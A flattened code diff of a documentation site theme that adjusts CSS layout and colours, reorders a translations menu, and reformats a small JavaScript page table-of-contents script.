cursor: pointer; cursor: pointer;
color: var(--fg); color: var(--fg);
} }
@media only screen and (max-width:799px) {
.menu-title {
font-size: 1.4rem;
}
}
.menu-bar, .menu-bar,
.menu-bar:visited, .menu-bar:visited,
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
color: var(--sidebar-fg); color: var(--sidebar-fg);
} }
} }
@media only screen and (min-width:1440px) {
#sidebar-toggle{
display: none !important;
}
}
@media only screen and (max-width:549px) { @media only screen and (max-width:549px) {
.sidebar { .sidebar {
position: fixed; position: fixed;
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
border-top: 1px solid var(--table-border-color); border-top: 1px solid var(--table-border-color);
margin-top: 1rem; margin-top: 1rem;
align-content: center; align-content: center;
z-index: 101; z-index: 106;
} }
.footer .theme-wrapper { .footer .theme-wrapper {
max-width: var(--container-max-width); max-width: var(--container-max-width);

View File

@ -343,8 +343,8 @@
--warning-border: #ff8e00; --warning-border: #ff8e00;
--table-border-color: #2f2f2f; --table-border-color: #2f2f2f;
--table-header-bg: hsl(226, 23%, 31%); --table-header-bg: #2f2f2f;
--table-alternate-bg: hsl(226, 23%, 14%); --table-alternate-bg: #222222;
--searchbar-border-color: #2f2f2f; --searchbar-border-color: #2f2f2f;
--searchbar-bg: hsl(0, 0%, 11%); --searchbar-bg: hsl(0, 0%, 11%);
@ -429,7 +429,7 @@
--warning-border: #ff8e00; --warning-border: #ff8e00;
--table-border-color: hsl(0, 0%, 95%); --table-border-color: hsl(0, 0%, 95%);
--table-header-bg: hsl(0, 0%, 80%); --table-header-bg: hsl(0, 0%, 95%);
--table-alternate-bg: hsl(0, 0%, 97%); --table-alternate-bg: hsl(0, 0%, 97%);
--searchbar-border-color: #aaa; --searchbar-border-color: #aaa;

View File

@ -176,10 +176,12 @@
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations"> <div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
<i class="fa fa-globe"></i> <i class="fa fa-globe"></i>
<span class="menu-bar-link">Translations</span>
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu"> <div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
<button id="en" role="menuitem" class="menu-bar-link">English</button> <button id="en" role="menuitem" class="menu-bar-link">English</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="fr" role="menuitem" class="menu-bar-link">French</button> <button id="fr" role="menuitem" class="menu-bar-link">French</button>
<button id="de" role="menuitem" class="menu-bar-link">German</button> <button id="de" role="menuitem" class="menu-bar-link">German</button>
<button id="el" role="menuitem" class="menu-bar-link">Greek</button> <button id="el" role="menuitem" class="menu-bar-link">Greek</button>
@ -190,11 +192,10 @@
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button> <button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button> <button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button> <button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button> <button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button> <button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button> <button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
</div> </div>
</div> </div>
</div> </div>

View File

@ -72,7 +72,7 @@
.sidetoc-wrapper { .sidetoc-wrapper {
position: fixed; position: fixed;
width: 250px; width: 250px;
height: calc(100vh - var(--menu-bar-height) - 25px * 2); height: calc(100vh - var(--menu-bar-height) - 50px * 2);
overflow: auto; overflow: auto;
display: flex; display: flex;
flex-direction: column; flex-direction: column;

View File

@ -1,68 +1,76 @@
let scrollTimeout; let scrollTimeout
const listenActive = () => { const listenActive = () => {
const elems = document.querySelector(".pagetoc").children; const elems = document.querySelector(".pagetoc").children
[...elems].forEach(el => { ;[...elems].forEach((el) => {
el.addEventListener("click", (event) => { el.addEventListener("click", (event) => {
clearTimeout(scrollTimeout); clearTimeout(scrollTimeout)
[...elems].forEach(el => el.classList.remove("active")); ;[...elems].forEach((el) => el.classList.remove("active"))
el.classList.add("active"); el.classList.add("active")
// Prevent scroll updates for a short period // Prevent scroll updates for a short period
scrollTimeout = setTimeout(() => { scrollTimeout = setTimeout(() => {
scrollTimeout = null; scrollTimeout = null
}, 100); // Adjust timing as needed }, 100) // Adjust timing as needed
}); })
}); })
}; }
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc(); const getPagetoc = () =>
document.querySelector(".pagetoc") || autoCreatePagetoc()
const autoCreatePagetoc = () => { const autoCreatePagetoc = () => {
const main = document.querySelector("#content > main"); const main = document.querySelector("#content > main")
const content = Object.assign(document.createElement("div"), { const content = Object.assign(document.createElement("div"), {
className: "content-wrap" className: "content-wrap",
}); })
content.append(...main.childNodes); content.append(...main.childNodes)
main.prepend(content); main.prepend(content)
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>'); main.insertAdjacentHTML(
return document.querySelector(".pagetoc"); "afterbegin",
}; '<div class="sidetoc"><nav class="pagetoc"></nav></div>'
)
return document.querySelector(".pagetoc")
}
const updateFunction = () => { const updateFunction = () => {
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click if (scrollTimeout) return // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")]; const headers = [...document.getElementsByClassName("header")]
const scrolledY = window.scrollY; const scrolledY = window.scrollY
let lastHeader = null; let lastHeader = null
// Find the last header that is above the current scroll position // Find the last header that is above the current scroll position
for (let i = headers.length - 1; i >= 0; i--) { for (let i = headers.length - 1; i >= 0; i--) {
if (scrolledY >= headers[i].offsetTop) { if (scrolledY >= headers[i].offsetTop) {
lastHeader = headers[i]; lastHeader = headers[i]
break; break
} }
} }
const pagetocLinks = [...document.querySelector(".pagetoc").children]; const pagetocLinks = [...document.querySelector(".pagetoc").children]
pagetocLinks.forEach(link => link.classList.remove("active")); pagetocLinks.forEach((link) => link.classList.remove("active"))
if (lastHeader) { if (lastHeader) {
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href); const activeLink = pagetocLinks.find(
if (activeLink) activeLink.classList.add("active"); (link) => lastHeader.href === link.href
)
if (activeLink) activeLink.classList.add("active")
} }
}; }
window.addEventListener('load', () => { window.addEventListener("load", () => {
const pagetoc = getPagetoc(); const pagetoc = getPagetoc()
const headers = [...document.getElementsByClassName("header")]; const headers = [...document.getElementsByClassName("header")]
headers.forEach(header => { headers.forEach((header) => {
const link = Object.assign(document.createElement("a"), { const link = Object.assign(document.createElement("a"), {
textContent: header.text, textContent: header.text,
href: header.href, href: header.href,
className: `pagetoc-${header.parentElement.tagName}` className: `pagetoc-${header.parentElement.tagName}`,
}); })
pagetoc.appendChild(link); if (header.parentElement.querySelectorAll("a").length === 2) {
}); link.textContent = header.parentElement.querySelectorAll("a")[1].text
updateFunction(); }
listenActive(); pagetoc.appendChild(link)
window.addEventListener("scroll", updateFunction); })
}); updateFunction()
listenActive()
window.addEventListener("scroll", updateFunction)
})